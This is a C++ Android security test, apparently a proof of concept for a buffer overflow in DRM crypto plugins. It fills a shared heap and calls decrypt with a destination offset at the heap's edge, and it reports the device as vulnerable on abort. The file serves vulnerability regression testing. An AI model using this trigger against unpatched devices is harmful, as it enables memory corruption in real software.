1 /**
2 * Copyright (C) 2019 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <android/hardware/drm/1.0/ICryptoFactory.h>
18 #include <android/hardware/drm/1.0/ICryptoPlugin.h>
19 #include <android/hardware/drm/1.0/types.h>
20 #include <android/hardware/drm/1.2/ICryptoPlugin.h>
21 #include <android/hardware/drm/1.2/types.h>
22 #include <binder/IMemory.h>
23 #include <binder/MemoryDealer.h>
24 #include <hidl/HidlSupport.h>
25 #include <hidlmemory/FrameworkUtils.h>
26 #include <mediadrm/DrmUtils.h>
27 #include <unistd.h>
28
29 #include <cstdint>
30 #include <cstdio>
31 #include <vector>
32
33 #include "../includes/common.h"
34
35 using namespace android;
36 using namespace ::android::hardware::drm;
37 using ::android::IMemoryHeap;
38 using ::android::MemoryDealer;
39 using ::android::sp;
40 using ::android::hardware::fromHeap;
41 using ::android::hardware::hidl_string;
42 using ::android::hardware::hidl_vec;
43 using ::android::hardware::HidlMemory;
44 using ::android::hardware::drm::V1_0::BufferType;
45 using ::android::hardware::drm::V1_0::DestinationBuffer;
46 using ::android::hardware::drm::V1_0::ICryptoFactory;
47 using ::android::hardware::drm::V1_0::ICryptoPlugin;
48 using ::android::hardware::drm::V1_0::Mode;
49 using ::android::hardware::drm::V1_0::Pattern;
50 using ::android::hardware::drm::V1_0::SharedBuffer;
51 using ::android::hardware::drm::V1_0::Status;
52 using ::android::hardware::drm::V1_0::SubSample;
53
54 namespace {
55
56 uint32_t kHeapSize = 0x2000;
57
setHeapBase(const sp<ICryptoPlugin> & plugin)58 void setHeapBase(const sp<ICryptoPlugin> &plugin) {
59 sp<MemoryDealer> memoryDealer = new MemoryDealer(kHeapSize);
60 sp<IMemoryHeap> memoryHeap = memoryDealer->getMemoryHeap();
61 memset(memoryHeap->getBase(), 'A', kHeapSize);
62 sp<HidlMemory> hidlMemory = fromHeap(memoryHeap);
63 plugin->setSharedBufferBase(*hidlMemory, 0);
64 return;
65 }
66
67 template <typename Status_, typename Plugin, typename Decrypt>
decrypt(Plugin * plugin,Decrypt decrypt)68 void decrypt(Plugin *plugin, Decrypt decrypt) {
69 Pattern hPattern{.encryptBlocks = 0, .skipBlocks = 1};
70 SharedBuffer hSource{.bufferId = 0, .offset = 0, .size = kHeapSize};
71 hidl_vec<SubSample> subSamples{
72 {.numBytesOfClearData = kHeapSize, .numBytesOfEncryptedData = 0}};
73 DestinationBuffer hDestination{
74 .type = BufferType::SHARED_MEMORY,
75 .nonsecureMemory = {.bufferId = 0, .offset = kHeapSize - 1, .size = 1}};
76
77 (plugin->*decrypt)(
78 false, {}, {}, Mode::UNENCRYPTED, hPattern, subSamples, hSource, 0,
79 hDestination, [&](Status_ err, uint32_t, hidl_string msg) {
80 if (err != static_cast<Status_>(V1_0::Status::BAD_VALUE) &&
81 err != static_cast<Status_>(V1_0::Status::ERROR_DRM_UNKNOWN) &&
82 err !=
83 static_cast<Status_>(V1_2::Status::ERROR_DRM_FRAME_TOO_LARGE)) {
84 ALOGE("OVERFLOW DETECTED %d %s\n", err, msg.c_str());
85 }
86 });
87 }
88
89 } // namespace
90
handler(int)91 static void handler(int) {
92 ALOGI("Good, the test condition has been triggered");
93 exit(EXIT_VULNERABLE);
94 }
95
main()96 int main() {
97 const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
98 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
99
100 signal(SIGABRT, handler);
101
102 for (const auto &plugin : DrmUtils::MakeCryptoPlugins(uuid, nullptr, 0)) {
103 setHeapBase(plugin);
104 decrypt<V1_0::Status>(plugin.get(), &V1_0::ICryptoPlugin::decrypt);
105 sp<V1_2::ICryptoPlugin> plugin_1_2 = V1_2::ICryptoPlugin::castFrom(plugin);
106 if (plugin_1_2.get()) {
107 decrypt<V1_2::Status>(plugin_1_2.get(),
108 &V1_2::ICryptoPlugin::decrypt_1_2);
109 }
110 }
111 return 0;
112 }
113